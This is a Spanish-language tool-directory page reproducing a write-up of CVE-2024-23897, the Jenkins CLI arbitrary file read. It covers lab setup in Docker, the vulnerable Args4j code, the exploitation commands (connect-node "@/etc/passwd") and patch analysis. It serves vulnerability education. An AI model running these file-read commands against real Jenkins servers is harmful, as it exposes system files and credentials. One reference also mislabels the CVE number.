Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-23897 — [CVE-2024-23897] Jenkins CI Lectura arbitraria de archivos autenticada a través de la CLI conduce a ejecución remota de código (RCE) | Kitploit
Herramientas/GitHubGitHub/murataydemir/cve-2024-23897
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmurataydemir/cve-2024-23897

CVE-2024-23897

[CVE-2024-23897] Jenkins CI Lectura arbitraria de archivos autenticada a través de la CLI conduce a ejecución remota de código (RCE)

Ver Repositorio
22hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[CVE-2024-23897] Jenkins CI: lectura arbitraria de archivos autenticada a través de la CLI conduce a la ejecución remota de código (RCE)


Jenkins es una herramienta DevOps de software de automatización de integración continua/entrega y despliegue continuos (CI/CD) de código abierto y autocontenida, escrita en el lenguaje de programación Java. Se utiliza para implementar flujos de trabajo de CI/CD, denominados pipelines.

Jenkins tiene una interfaz de línea de comandos (CLI) integrada para acceder a Jenkins desde un script o entorno de shell. Jenkins utiliza la librería Args4j para analizar los argumentos y opciones de comando en el controlador de Jenkins al procesar comandos CLI. Este analizador de comandos tiene una característica que reemplaza un carácter @ seguido de una ruta de archivo en un argumento con el contenido del archivo (expandAtFiles). Esta característica está habilitada por defecto y Jenkins 2.441 y anteriores, LTS 2.426.2 y anteriores no la deshabilitan.

Esto permite a los atacantes leer archivos arbitrarios en el sistema de archivos del controlador de Jenkins utilizando la codificación de caracteres predeterminada del proceso del controlador de Jenkins.

  • Los atacantes con permiso Overall/Read pueden leer archivos completos.
  • Los atacantes sin permiso Overall/Read pueden leer las primeras líneas de los archivos. El número de líneas que se pueden leer depende de los comandos CLI disponibles. A la fecha de publicación de este aviso, el equipo de seguridad de Jenkins ha encontrado formas de leer las primeras tres líneas de archivos en versiones recientes de Jenkins sin tener ningún plugin instalado, y no ha identificado ningún plugin que aumente este número de líneas.

Configuración del entorno

  • Obtener la imagen de Docker
root@kitploit:~
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
  • Ejecutar el contenedor
root@kitploit:~
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
  • Leer la contraseña de administrador inicial para la configuración
root@kitploit:~
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

1

Código vulnerable
Cabe señalar que esta vulnerabilidad fue descubierta por el equipo de investigación de vulnerabilidades de SonarSource y esta sección está copiada de la publicación técnica de SonarSource.

El código vulnerable se puede encontrar en la librería Args4j,

root@kitploit:~
private String[] expandAtFiles(String args[]) throws CmdLineException {
  List < String > result = new ArrayList < String > ();
  for (String arg: args) {
    if (arg.startsWith("@")) {
      File file = new File(arg.substring(1));
      if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
      try {
        result.addAll(readAllLines(file));
      } catch(IOException ex) {
        throw new CmdLineException(this, "Failed to parse " + file, ex);
      }
    } else {
      result.add(arg);
    }
  }
  return result.toArray(new String[result.size()]);
}

El método expandAtFiles de la clase CmdLineParser.java básicamente reemplaza un carácter @ seguido de una ruta de archivo en un argumento con el contenido del archivo: comprueba si el argumento comienza con el carácter @ y, si es así, lee el archivo en la ruta después del @ y expande un nuevo argumento para cada línea. Esto significa que si un atacante puede controlar un argumento, puede expandirlo a un número arbitrario de argumentos desde un archivo arbitrario en la instancia de Jenkins.

Una forma en que un atacante podría aprovechar esto es encontrar un comando que acepte un número arbitrario de argumentos y los muestre de vuelta al usuario. Dado que los argumentos se completan con el contenido del archivo, un atacante podría filtrar el contenido del archivo de esta manera. Para este propósito, el comando connect-node en hudson/cli parece ser un buen candidato: recibe una lista de cadenas como argumento e intenta conectarse a cada uno. Si falla, se genera un mensaje de error con el nombre del nodo cuya conexión falló.

root@kitploit:~
public class ConnectNodeCommand extends CLICommand {
  @Argument(
            metaVar = "NAME",
            usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
            required = true,
            multiValued = true
  )
  private List < String > nodes;
  //...

  @Override
  protected int run() throws Exception {
    //...
    for (String node_s: hs) {
      try {
        Computer computer = Computer.resolveForCLI(node_s);
        computer.cliConnect(force);
      } catch(Exception e) {
        //...
        final String errorMsg = node_s + ": " + e.getMessage();
        stderr.println(errorMsg);
        //...
      }
    }


    //...
  }
}

Este comando connect-node normalmente requeriría el permiso CONNECT, que se verifica en la función cliConnect. Pero dado que la excepción se lanza antes de la comprobación de permisos en la función resolveForCLI, el comando en realidad no requiere ninguna autorización aparte de la verificación de solo lectura inicial.

Pasos de explotación
Normalmente, el @ en Jenkins-cli se utiliza para especificar un archivo que contiene el token de portador o username:password desde un archivo. 5 Al usar un comando autenticado con Jenkins-cli se obtiene la siguiente salida:

root@kitploit:~
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

6

Al usar la función del carácter @ para especificar el archivo credentials.txt en el modificador -auth, se obtiene lo siguiente:

root@kitploit:~
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

7

Análisis del parche
El equipo de seguridad de Jenkins abordó CVE-2024-23897 introduciendo una configuración segura que deshabilita la función expandAtFiles. El parche incluye agregar una verificación de origen al endpoint WebSocket para CVE-2024-23898, evitando el acceso no autorizado.

Commit relevante: jenkinsci/jenkins@554f037 8

  1. ALLOW_AT_SYNTAX: Esta variable es un booleano que indica si la sintaxis '@' está permitida. Se lee desde las propiedades del sistema.
  2. ParserProperties: Esta clase proporciona propiedades para configurar el CmdLineParser.
  3. withAtSyntax(ALLOW_AT_SYNTAX): Establece la propiedad 'allowAtSyntax' en ParserProperties basándose en el valor de ALLOW_AT_SYNTAX.
  4. new CmdLineParser(this, properties): Esto crea una nueva instancia de CmdLineParser, pasando el objeto actual (this) y las ParserProperties configuradas.

Más información sobre la vulnerabilidad CVE-2024-34897 y los créditos son los siguientes:

  • Aviso de seguridad de Jenkins 2024-01-24
  • Aviso NIST: CVE-2024-23897
  • Jenkins Args4j CVE-2024-23897: Archivos expuestos, código en riesgo
  • Expansión excesiva: Descubriendo vulnerabilidades de seguridad críticas en Jenkins
  • CVE-2024-23897: Evaluando el impacto de la vulnerabilidad de fuga arbitraria de archivos de Jenkins
  • La anatomía de una vulnerabilidad de Jenkins: CVE-2024-23897 revelado
Descargar herramienta